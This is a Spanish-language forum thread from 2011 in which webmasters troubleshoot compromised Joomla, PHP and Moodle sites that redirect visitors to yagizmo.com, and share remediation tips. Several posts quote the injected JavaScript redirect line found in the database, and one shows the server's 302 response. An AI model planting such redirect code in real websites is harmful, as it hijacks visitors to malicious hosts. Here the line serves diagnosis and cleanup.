Servidor dedicado atacado por sitio yagizmo.com

wilrocaul · #1 (**permalink**) 12/01/2011, 15:59

Mi sitio ha sido atacado y al hacer click sobre sus páginas aparecen peticiones de yagizmo.com

Incluso hubo una página en donde el navegador de mozilla me bloqueaba el acceso!...

Me pueden ayudar a poder decifrar como puedo arreglar el problema!...

Trabajo con php y mysql...

Saludos

nolink · #2 (**permalink**) 12/01/2011, 16:46

A mi me ha pasado justo lo mismo HOY con joomla!.
Servidor dedicado en 1&1 (me han cambiado de server justo ayer)
Estoy investigando, lo comparto....

te puede interesar: http://wam.dasient.com/wam/infection_library/7a9ac98597d186c951ee4ca3fdaf20c0/ljjjo

http://www.stopbadware.org/d52ed85a09ab78f3d2a23318fb36c33f

The three most common forms of badware that StopBadware sees on compromised sites are:

Malicious scripts
.htaccess redirects
Hidden iframes

Más en: http://www.stopbadware.org/home/security

Suerte

hyperwin · #3 (**permalink**) 12/01/2011, 17:09

Verifique el computador desde el cual se conectan por ftp a su sitio web, es posible que esté infectado por un virus que roba los datos de sus cuentas ftp y las reenvia a hackers, cambie las cuentas ftp de sus sitios desde un computador limpio.

Nunca guarde los password de su cuenta ftp en los clientes ftp

nolink · #4 (**permalink**) 12/01/2011, 17:50

Pues he leido todo el codigo y nada de na!. Para mi que va ser el .htaccess redirects

hyperwin · #5 (**permalink**) 12/01/2011, 18:06

Si, es posible que usando un .htaccess hagan una redirección de tu sitio a otro servidor.

malkiah · #6 (**permalink**) 13/01/2011, 02:44

¿Habéis conseguido solucionar el problema? A mí me ha pasado lo mismo con la intranet de alumnos del colegio en el que trabajo (la tenemos alojada con una empresa externa que nos da el servicio, es un Moodle bajo Linux).

Ya les he avisado, pero si lo habéis solucionado de algún modo, cualquier información que les pueda pasar para acelerar el arreglo será bienvenida. Lo que más me fastidia es que, como es un servidor externo, no tengo acceso al sistema de archivos y no puedo mirar .htaccess ni nada por el estilo (he revisado el código de las páginas, nuestras DNS por si alguien se había metido en el servidor y había metido alguna redirección, etc., y nada, así que supongo que tiene que ser a nivel de .htaccess o de la configuración de Apache).

Gracias!

nolink · #7 (**permalink**) 13/01/2011, 05:38

HTTP Response Header

Name Value Delim
Mi hosting dice que es un Javascrit malicioso que se ha incluido en el código. Aunque he comprobado el código y no he encontrado nada extraño del tipo

document.location.href='http://yagizmo.com/'+Math.floor(Math.random()*10000)

En cambio haciendo un Scan al server me da HTTP/1.1 302 Found y me indica la redirección que hacemos mención. Desde aquí: http://web-sniffer.net/

¿ Tenéis el mismo problema? ¿ Trabajáis con revendedores?

Status: HTTP/1.1 302 Found
Date: Thu, 13 Jan 2011 11:33:09 GMT
Server: Apache
Location: http://yagizmo.com/188.93.10.56
Content-Length: 215
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content (0.21 KiB)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://yagizmo.com/188.93.10.56">here</a>.</p>
</body></html>

hyperwin · #8 (**permalink**) 13/01/2011, 05:57

Puedes mencionarnos tu dominio, si deseas me lo envías por MP y te ayudo a verificar el problema del script que se agrega a tus paginas

nolink · #9 (**permalink**) 13/01/2011, 06:16

Mil gracias por tu amabilidad, te lo paso por MP. A ver si te ocurre algo....

hyperwin · #10 (**permalink**) 13/01/2011, 06:33

Respondido tu MP

wilrocaul · #11 (**permalink**) 13/01/2011, 08:19

Hola a todos veo que a muchos les está pasando el mismo problema, ayer revisando pudimos encontrar el problema. Me parece que es una especie de virus como mencionan todos aquí.

Se genera un .htaccess redirects, el mismo que se genera en las carpetas en donde el usuario tiene permisos para lectura y escritura. En nuestro caso tenemos carpetas donde están las imágenes y ahi se generaba ese .htaccess con la redirección respectiva, procedimos a eliminar estas redirecciones en todas las carpetas afectadas y ya empezaban aparecer las imágenes que se perdían...

Ahora vamos a chekar las máquinas con las cuales hacemos ftp para revisar si existen virus que al hacer ftp pueden esta afectando al servidor en línea....

Si tienen sugerencias de que tipo de virus puede ser o el antivirus adecuado que pueda tratar estos archivos infeccios que me puedan recomendar...

Muy agradecido!...

Espero todos puedan también solucionar el problema....

wilrocaul · #12 (**permalink**) 13/01/2011, 08:23

Hola a todos veo que a muchos les está pasando el mismo problema, ayer revisando pudimos encontrar el problema. Me parece que es una especie de virus como mencionan todos aquí.

Se genera un .htaccess redirects, el mismo que se genera en las carpetas en donde el usuario tiene permisos para lectura y escritura. En nuestro caso tenemos carpetas donde están las imágenes y ahi se generaba ese .htaccess con la redirección respectiva, procedimos a eliminar estas redirecciones en todas las carpetas afectadas y ya empezaban aparecer las imágenes que se perdían...

Ahora vamos a chekar las máquinas con las cuales hacemos ftp para revisar si existen virus que al hacer ftp pueden esta afectando al servidor en línea....

Si tienen sugerencias de que tipo de virus puede ser o el antivirus adecuado que pueda tratar estos archivos infeccios que me puedan recomendar...

Muy agradecido!...

Espero todos puedan también solucionar el problema....

hyperwin · #13 (**permalink**) 13/01/2011, 09:03

El virus puede ser gumblar o uno muy similar, yo le había mencionado a nolink por MP que el problema era un archivo htaccess que hace la redirección.

Ese es el encabezado http del sitio

Cita:

HTTP/1.1·302·Found(CR)(LF)
Date:·Thu,·13·Jan·2011·13:21:42·GMT(CR)(LF)
Server:·Apache(CR)(LF)
Location:·http://yagizmo.com/69.xx.187.xx

Instala todos los parches a tu Windows, cambia las claves de tu cuenta ftp, corre un antivirus, intenta con HouseCall de Trend Micro

arcm · #14 (**permalink**) 13/01/2011, 18:57

Ya somos unos cuantos con el mismo problema.

Tened cuidado, porque donde se aloja el código:

Código:

document.location.href='http://yagizmo.com/'+Math.floor(Math.random()*10000)

es dentro de la base de datos, por lo que restaurando la BBDD de MySQL la web vuelve a funcionar sin problema, aunque sigue siendo vulnerable,

¿Alguien sabe de dónde viene la vulnerabilidad? ¿De alguna versión concreta de joomla o drupal? ¿De algún virus?

Un saludo,

hyperwin · #15 (**permalink**) 13/01/2011, 19:34

Si, parece que aprovecha alguna vulnerabilidad de joomla, he visto 2 clientes en la misma situación. Actualiza joomla a la última versión.

nolink · #16 (**permalink**) 15/01/2011, 09:52

Si se aloja dentro de la BBDD afectaría solo aquella tabla que estuviera insertada. Como habrás leído el problema es en todo el dominio.

Os dejo un enlace donde ofrecen un punto de vista más interesante: http://www.hard-h2o.com/vertema/134248/creacion-htaccess-en-joomla-automaticamente.html

Saludos

Cita:

Iniciado por arcm

Ya somos unos cuantos con el mismo problema.

Tened cuidado, porque donde se aloja el código:

Código:

document.location.href='http://yagizmo.com/'+Math.floor(Math.random()*10000)

es dentro de la base de datos, por lo que restaurando la BBDD de MySQL la web vuelve a funcionar sin problema, aunque sigue siendo vulnerable,

¿Alguien sabe de dónde viene la vulnerabilidad? ¿De alguna versión concreta de joomla o drupal? ¿De algún virus?

Un saludo,